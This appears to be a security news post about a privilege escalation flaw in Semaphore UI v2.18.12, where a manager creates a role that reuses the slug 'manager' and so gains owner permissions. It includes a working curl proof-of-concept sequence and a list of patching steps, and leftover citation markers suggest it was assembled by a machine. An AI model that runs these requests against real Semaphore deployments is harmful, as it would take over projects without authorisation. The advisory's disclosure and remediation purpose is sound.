Listen to this Post
Semaphore UI is an open-source project management and deployment tool. A critical privilege escalation vulnerability exists in how the application resolves user permissions for project members.
The vulnerability resides in the `ProjectMiddleware` component. When a project member makes an API request, the middleware looks up the member’s assigned role by its slug (e.g., “manager”, “owner”). It then queries the database for a role row matching that slug using the `GetProjectOrGlobalRoleBySlug` function. Critically, this function accepts a `projectID` parameter but ignores it in the SQL query, running `select from role where slug=?` without any project-scope restriction【7†L59-L62】. This means a role created in one project with a colliding slug can affect permission resolution for members in other projects.
A member with the built-in `manager` role can create a custom project role via POST /api/project/{id}/roles. This route is gated only by the `CanManageProjectResources` permission, which the `manager` role already holds【7†L294-L354】. The role-creation validator does not reserve built-in slug names (owner, manager, task_runner, guest) and imposes no ceiling on permission bits a caller may grant【7†L10-L15】.
An attacker with the `manager` role creates a custom role with the slug `manager` and sets the permission bitmask to 15—the full owner bitmask including the owner-only bits `CanUpdateProject` and `CanManageProjectUsers` that `manager` does not normally hold. On the next request, the middleware’s slug lookup returns this attacker-created row, and the manager’s effective permissions become owner-equivalent. The result is a complete privilege escalation: a project manager can add or remove members, change project settings, delete the project, or demote the legitimate owner【7†L49-L53】.
The vulnerability affects `semaphoreui/semaphore` v2.18.12 and the `develop` branch as of 2026-06-09. The official Docker image ships with the PRO feature (custom project roles) enabled by default. The issue was confirmed live-exploitable on v2.18.12 (commit 8a4dcf0)【7†L4-L5】.
DailyCVE Form:
Platform: semaphoreui/semaphore
Version: v2.18.12
Vulnerability: Privilege Escalation
Severity: Critical
date: 2026-06-09
Prediction: 2026-06-30
What Undercode Say:
Confirm baseline permissions (manager: permissions 5)
curl -X GET "http://target/api/project/42/role" \
-H "Cookie: semaphore=<manager-session>"
Expected: {"role":"manager","permissions":5}
Verify owner-only endpoint is denied
curl -X PUT "http://target/api/project/42" \
-H "Cookie: semaphore=<manager-session>" \
-H "Content-Type: application/json" \
-d '{"id":42,"name":"test"}'
Expected: HTTP/1.1 403 Forbidden
Create custom role with colliding slug "manager" and full bitmask 15
curl -X POST "http://target/api/project/42/roles" \
-H "Cookie: semaphore=<manager-session>" \
-H "Content-Type: application/json" \
-d '{"slug":"manager","name":"pwn","permissions":15}'
Expected: HTTP/1.1 201 Created
Now manager has owner-equivalent permissions
curl -X GET "http://target/api/project/42/role" \
-H "Cookie: semaphore=<manager-session>"
Returns: {"role":"manager","permissions":15}
Owner-only actions now succeed
curl -X PUT "http://target/api/project/42" \
-H "Cookie: semaphore=<manager-session>" \
-H "Content-Type: application/json" \
-d '{"id":42,"name":"owned","alert":false}'
Expected: HTTP/1.1 204 No Content
Add a new project member
curl -X POST "http://target/api/project/42/users" \
-H "Cookie: semaphore=<manager-session>" \
-H "Content-Type: application/json" \
-d '{"user_id":99,"role":"task_runner"}'
Expected: HTTP/1.1 204 No Content
Exploit: (Educational Purposes!)
The exploit leverages three weaknesses chained together:
- Project-scope ignore in role lookup – `GetProjectOrGlobalRoleBySlug(projectID, slug)` accepts a project ID but executes
select from role where slug=?, ignoring project scope entirely【7†L59-L62】. - No reserved-slug validation – `ValidateRole` only checks that the role name is non-empty; it does not reserve built-in slugs (
owner,manager,task_runner,guest)【7†L10-L15】. - No permission ceiling – The validator imposes no maximum on the permission bits a caller can grant, allowing a manager to assign the full owner bitmask
15.
The attack requires one authenticated POST request. The manager creates a role with `slug: “manager”` andpermissions: 15. The middleware on subsequent requests resolves the manager’s permissions to the database row value, effectively granting owner-level access.
Protection:
- Upgrade to a patched version once available.
- Disable custom project roles if using a community build (the role-creation endpoint returns 404).
- Apply a temporary workaround by adding a reserved-slug validation in `db/Role.go` to reject creation of roles with built-in slugs.
- Add project-scope filtering to `GetProjectOrGlobalRoleBySlug` to ensure role lookups are scoped to the correct project.
- Enforce a permission ceiling in the role-creation validator to prevent non-owner roles from granting owner-only bits.
Impact:
- Full administrative control of the project from a non-owner role.
- Ability to change project settings, delete the project, and add or remove members.
- Removal or demotion of the legitimate project owner.
- Reachable by the built-in `manager` role with one authenticated request.
- Not reachable by
task_runner,guest, or unauthenticated callers【7†L4-L5】.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

